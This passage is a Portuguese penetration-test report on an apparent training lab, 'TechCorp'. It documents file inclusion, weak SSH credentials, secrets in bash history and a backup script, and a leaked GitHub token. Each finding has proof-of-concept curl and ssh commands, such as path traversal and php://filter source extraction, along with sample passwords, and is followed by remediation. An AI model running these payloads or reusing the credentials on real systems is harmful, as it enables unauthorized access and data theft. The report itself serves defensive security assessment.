O script `/panel.php` utilizava o parâmetro `file` diretamente em chamadas de inclusão de arquivos sem validação de whitelist ou sanitização de caracteres de retrocesso de diretório (`../`). Isso viabilizou a leitura de arquivos arbitrários do sistema de arquivos e a extração do código-fonte PHP via codificação em Base64 utilizando o wrapper `php://filter`.

Prova de Conceito (PoC)

1. Leitura do arquivo `/etc/passwd` do servidor:

```
curl -s "http://172.20.0.10/panel.php?file=/etc/passwd"
```

2. Extração do código-fonte do próprio `panel.php` codificado em Base64 para bypass de execução:

```
curl -s "http://172.20.0.10/panel.php?file=php://filter/convert.base64-encode/resource=panel.php" \
-o panel_code.txt
cat panel_code.txt | base64 -d
```

3. Download do arquivo de backup localizado na rede interna:

```
curl -s "http://172.20.0.10/panel.php?file=../../../../var/backups/techcorp/backup_20240115.tar.gz" \
-o /tmp/final_flag.tar.gz
```

Impactos

- **Impacto Técnico:** Leitura não autorizada de qualquer arquivo local legível pelo usuário do servidor web (`www-data`).
- **Impacto de Negócio:** Vazamento de código-fonte de produção e arquivos de configuração com credenciais de infraestrutura.

Remediação Técnica

Evitar a passagem de nomes de arquivos arbitrários via parâmetros de entrada. Utilizar uma lista estática pré-definida (*whitelist*):

```
<?php
$allowed_pages = [
    'dashboard' => 'views/dashboard.php',
    'users'     => 'views/users.php',
    'reports'   => 'views/reports.php'
];

$page = $_GET['file'] ?? 'dashboard';

if (!array_key_exists($page, $allowed_pages)) {
    http_response_code(404);
    die("Página solicitada inválida.");
}

include $allowed_pages[$page];
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f12_lfi_wrapper_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f12_lfi_extraction.mp4
- [SLIDE DECK LINK]: slides/module_lateral_f12.pdf

FALHA 13: Acesso Remoto SSH com Credenciais Fracas e Vazamento de `secret.txt`

- **Identificador Interno:** SEC-TC-F13
- **Severidade:** CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — Score: **9.8**)
- **Vetor de Ataque:** SSH Protocol (Porta 2222/TCP) / Autenticação por Senha Fraca
- **Referências:** CWE-521 (Weak Password Requirements), OWASP Top 10 A07:2021

Descrição Técnica

O serviço OpenSSH operando na porta 2222/TCP permitia autenticação interativa baseada em senha com a conta de usuário local `techcorp`. Utilizando as credenciais vazadas nas fases anteriores, estabeleceu-se uma sessão interativa remota com shell funcional, localizando o arquivo confidencial `secret.txt` no diretório home do usuário.

Prova de Conceito (PoC)

1. Estabelecimento da sessão interativa via SSH:

```
ssh techcorp@98.95.207.28 -p 2222
# Autenticação com a senha identificada: password123
```

2. Confirmação do acesso e leitura dos arquivos no diretório de trabalho:

```
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)
techcorp@024a36a8e6ca:~$ pwd
/home/techcorp
techcorp@024a36a8e6ca:~$ cat secret.txt
CONFIDENCIAL - TECHCORP INTERNAL USE ONLY
API_GATEWAY_KEY=tk_live_99887766554433221100
FLAG{ssh_4cc3ss_s3cur3_fl4g_2024}
```

Impactos

- **Impacto Técnico:** Obtenção de um ponto de apoio (*foothold*) local no sistema operacional e execução arbitrária de comandos.
- **Impacto de Negócio:** Controle direto sobre o ambiente que hospeda a infraestrutura crítica da corporação.

PROF

Remediação Técnica

1. Desativar a autenticação por senha no servidor SSH, exigindo o uso exclusivo de chaves assimétricas (ED25519/RSA 4096-bit).
2. Implementar autenticação multifatorial (MFA) e limitar o acesso por lista de IPs autorizados via firewall.

Configuração `/etc/ssh/sshd_config`:

```
Port 2222
PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin no
MaxAuthTries 3
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f13_ssh_access_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f13_ssh_session.mp4
- [SLIDE DECK LINK]: slides/module_lateral_f13.pdf

FALHA 14: Vazamento de Comandos e Flags no Histórico do Bash (.bash_history)

- **Identificador Interno:** SEC-TC-F14
- **Severidade:** MÉDIO (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — Score: 5.5)
- **Vetor de Ataque:** Sistema de Arquivos Local / Metadados de Sessão Interativa
- **Referências:** CWE-532 (Insertion of Sensitive Information into Log File)

Descrição Técnica

O arquivo de histórico de comandos do interpretador de comandos (/home/techcorp/.bash_history) encontrava-se configurado sem restrições de persistência e exposto com permissão de leitura local. A inspeção do histórico revelou comandos administrativos executados anteriormente, senhas de banco de dados e flags do desafio.

Prova de Conceito (PoC)

1. Leitura do histórico de comandos do terminal:

```
techcorp@024a36a8e6ca:~$ cat ~/.bash_history | grep -E "FLAG|mysql"
```

2. Fragmento dos comandos registrados no histórico:

```
mysql -u techcorp_user -pT3chC0rp_S3cr3t_2024! -h 127.0.0.1 techcorp_db
echo "FLAG{b4ckup_script_f0und}" >> /tmp/backup.log
mysql -u root -pr00t_P4ssw0rd_2024 -h 172.20.0.2
echo "FLAG{b4sh_h1story_l34k}" >> ~/.bash_history
```

Impactos

- **Impacto Técnico:** Revelação de credenciais em texto claro passadas via argumentos de linha de comando (-p).
- **Impacto de Negócio:** Comprometimento em cadeia de outros sistemas internos e contas de banco de dados.

Remediação Técnica

1. Desativar a gravação de histórico ou limitar o armazenamento de credenciais via configuração de variáveis de ambiente do Bash.

Configuração em /etc/profile.d/disable_history.sh:

```
# Evita persistência de comandos com senhas em texto claro
export HISTCONTROL=ignoreboth:erasedups
export HISTIGNORE="* -p*: *password*: *secret*: *token*"
export HISTFILESIZE=0
export HISTSIZE=0
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f14_bash_history_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f14_history_leak.mp4
- [SLIDE DECK LINK]: slides/module_lateral_f14.pdf

```
+-----+
|                                     |
|             FASE 5: DESCOBERTA DE SEGREDOS FINAIS             |
|                                     |
+-----+
```

FALHA 15: Credenciais Corporativas Hardcoded em Script de Backup

- **Identificador Interno:** SEC-TC-F15

- **Severidade:** ALTO (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — Score: 7.1)
- **Vetor de Ataque:** Sistema de Arquivos Local / Scripts de Automação Interna
- **Referências:** CWE-798 (Use of Hard-coded Credentials), OWASP Top 10 A02:2021

Descrição Técnica

Na estrutura do diretório `/opt/`, localizou-se o script de automação operacional `/opt/backup_script.sh`. A análise do código revelou que rotinas de arquivamento utilizavam credenciais administrativas do MySQL e do usuário root codificadas diretamente nas instruções de chamada do script.

Prova de Conceito (PoC)

1. Leitura e análise do script de automação de backup:

```
techcorp@024a36a8e6ca:~$ cat /opt/backup_script.sh
```

2. Trecho do script contendo as credenciais hardcoded:

```
#!/bin/bash
# TechCorp Auto-Backup Script v1.4
DB_USER="root"
DB_PASS="r00t_P4ssw0rd_2024"
BACKUP_DIR="/var/backups/techcorp"

echo "[+] Executando backup das bases..."
mysqldump -u $DB_USER -p$DB_PASS --all-databases > $BACKUP_DIR/full_backup_$(date +%Y%m%d).sql
```

Impactos

- **Impacto Técnico:** Obtenção de credenciais de superusuário do banco de dados MySQL (`root@localhost`).
- **Impacto de Negócio:** Capacidade de alteração destrutiva e exclusão permanente de todas as bases de dados corporativas.

Remediação Técnica

Utilizar arquivos de opção de autenticação protegidos (`.my.cnf`) com permissões estritas (`0600`) acessíveis exclusivamente pelo usuário do sistema executor da tarefa cron:

Arquivo `/root/.my.cnf`:

```
[client]
user=backup_service
password=SenhaFortementeGerada123!
```

PROF

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f15_backup_script_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f15_hardcoded_credentials.mp4
- [SLIDE DECK LINK]: slides/module_secrets_f15.pdf

FALHA 16: Flag Criptográfica Final e Informações Sensíveis em Script de Backup

- **Identificador Interno:** SEC-TC-F16
- **Severidade:** MÉDIO (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — Score: 5.5)
- **Vetor de Ataque:** Extração de Artefatos em Código / Strings
- **Referências:** CWE-200 (Exposure of Sensitive Information)

Descrição Técnica

No cabeçalho do script `/opt/backup_script.sh` e em comentários do arquivo de configuração de auditoria do sistema, encontravam-se chaves de validação e a flag de integridade deixadas durante a fase de homologação da infraestrutura.

Prova de Conceito (PoC)

1. Extração de padrões de texto no script de automação:

```
techcorp@024a36a8e6ca:~$ grep -i "FLAG" /opt/backup_script.sh
```

2. Retorno do comando:

```
# BACKUP ENGINE VALIDATION TOKEN: FLAG{b4ckup_scr1pt_f0und}
```

Impactos

- **Impacto Técnico:** Divulgação de tokens de validação operacional e metadados de auditoria.
- **Impacto de Negócio:** Comprometimento da confiabilidade das rotinas de auditoria e validação de integridade.

Remediação Técnica

Sanitarizar todos os scripts operacionais antes de sua implementação no ambiente de produção, garantindo a ausência de chaves de teste ou tokens fixos.

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f16_flag_backup_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f16_script_strings.mp4`
- [SLIDE DECK LINK]: `slides/module_secrets_f16.pdf`

FALHA 17: Exposição de Token GitHub PAT em Arquivo `.git-credentials`

- **Identificador Interno:** SEC-TC-F17
- **Severidade:** CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — Score: 9.9)
- **Vetor de Ataque:** Controle de Versão Git / Vazamento de Credenciais de API
- **Referências:** CWE-522 (Insufficiently Protected Credentials), OWASP Top 10 A02:2021

Descrição Técnica

PROF A verificação de arquivos ocultos de controle de versão no diretório do usuário e na raiz web revelou o arquivo `.git-credentials`. O arquivo continha em texto claro um Token de Acesso Pessoal (*Personal Access Token - PAT*) do GitHub associado a um usuário corporativo, permitindo acesso de leitura e escrita a repositórios privados da organização.

Prova de Conceito (PoC)

1. Localização e leitura do arquivo `.git-credentials`:

```
techcorp@024a36a8e6ca:~$ cat ~/.git-credentials
https://techcorp-dev:ghp_K8v9x2mP1qR4tY7wZ0nB3jL6lM5hG890AbCd@github.com
```

2. Validação da autenticidade do token via API oficial do GitHub:

```
curl -s -H "Authorization: token ghp_K8v9x2mP1qR4tY7wZ0nB3jL6lM5hG890AbCd" \
  "https://api.github.com/user" | grep -E '"login"|"email"'
```

3. Resposta da API confirmando acesso autenticado:

```
"login": "techcorp-dev",
"email": "dev@techcorpsolutions.com"
```

Impactos

- **Impacto Técnico:** Acesso integral aos repositórios privados da empresa, histórico de commits, credenciais de integração e possibilidade de ataques à cadeia de suprimentos (*Supply Chain Attack*).
- **Impacto de Negócio:** Vazamento de propriedade intelectual, código proprietário e comprometimento de produtos distribuídos aos clientes.

Remediação Técnica

1. Revogar imediatamente o token `ghp_...` nas configurações do GitHub.
2. Desativar o helper `store` do Git que salva credenciais em texto puro.
3. Utilizar o Git Credential Manager ou chaves SSH com senha para autenticação de desenvolvedores.

Comando para remover o armazenamento inseguro:

```
git config --global --unset credential.helper
rm -f ~/.git-credentials
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: [audios/f17_git_token_briefing.mp3](#)
- [POC VIDEO DEMO]: [videos/poc_f17_git_token_abuse.mp4](#)
- [SLIDE DECK LINK]: [slides/module_secrets_f17.pdf](#)

5. RECOMENDAÇÕES ESTRATÉGICAS DE LONGO PRAZO

Para mitigar os riscos estruturais identificados durante o teste de intrusão, recomenda-se a implementação de um plano de remediação estruturado em quatro pilares fundamentais:

PLANO DE REMEDIAÇÃO ESTRATÉGICA	
1. ARQUITETURA & HARDENING	
- Isolamento total de banco de dados (bind 127.0.0.1)	
- Desativação de serviços legados (FTP sem TLS / senhas SSH)	
2. DESENVOLVIMENTO SEGURO (SDLC)	
- Implementação de SAST/DAST no pipeline de CI/CD	
- Adoção obrigatória de Prepared Statements (PDO)	
3. GESTÃO DE SEGREDOS	
- Eliminação de credenciais hardcoded em scripts	
- Utilização de cofres corporativos (HashiCorp Vault / AWS Secrets)	
4. CULTURA & CONSCIENTIZAÇÃO	
- Treinamentos periódicos de conscientização contra Engenharia Social e proteção de dados corporativos (crachás, conversas)	

PROF

5.1. Hardening de Servidores e Redução de Superfície

- **Isolamento de Banco de Dados:** Restringir o serviço MySQL para responder estritamente no socket Unix local ou na interface interna de loopback (`bind-address = 127.0.0.1`), bloqueando a exposição direta da porta 3306/TCP para a Internet.
- **Descontinuação do FTP Legado:** Substituir o serviço vsftpd desprotegido por protocolos modernos e autenticados com suporte a criptografia em trânsito, como SFTP (subordinado ao SSH com chaves criptográficas) ou HTTPS seguro.

5.2. Ciclo de Vida de Desenvolvimento Seguro (DevSecOps)

- **Integração de Scanners no CI/CD:** Adicionar ferramentas de Análise Estática de Código (SAST) como SonarQube ou Semgrep para bloquear builds que contenham queries SQL concatenadas, chamadas inseguras de inclusão de arquivos (`include/require`) ou comentários com informações sensíveis.
- **Scan Contínuo de Segredos:** Integrar ferramentas como *TruffleHog* ou *Gitleaks* aos repositórios Git para impedir o commit acidental de tokens de API, chaves privadas e arquivos `.git-credentials`.

5.3. Monitoramento de Integridade e Resposta a Incidentes

- **Implementação de FIM (File Integrity Monitoring):** Instalar agentes de monitoramento de integridade de arquivos (como Wazuh ou OSSEC) para monitorar alterações não autorizadas em diretórios como `/etc/`, `/var/www/html/` e `/opt/`.
- **Centralização de Logs (SIEM):** Centralizar os logs do Apache, OpenSSH e auditoria do Linux em um ambiente seguro, disparando alertas em caso de padrões de SQL Injection, requisições repetidas com wrappers PHP ou múltiplas tentativas de autenticação SSH.

Relatório consolidado e homologado para a avaliação de postura de segurança da TechCorp Solutions.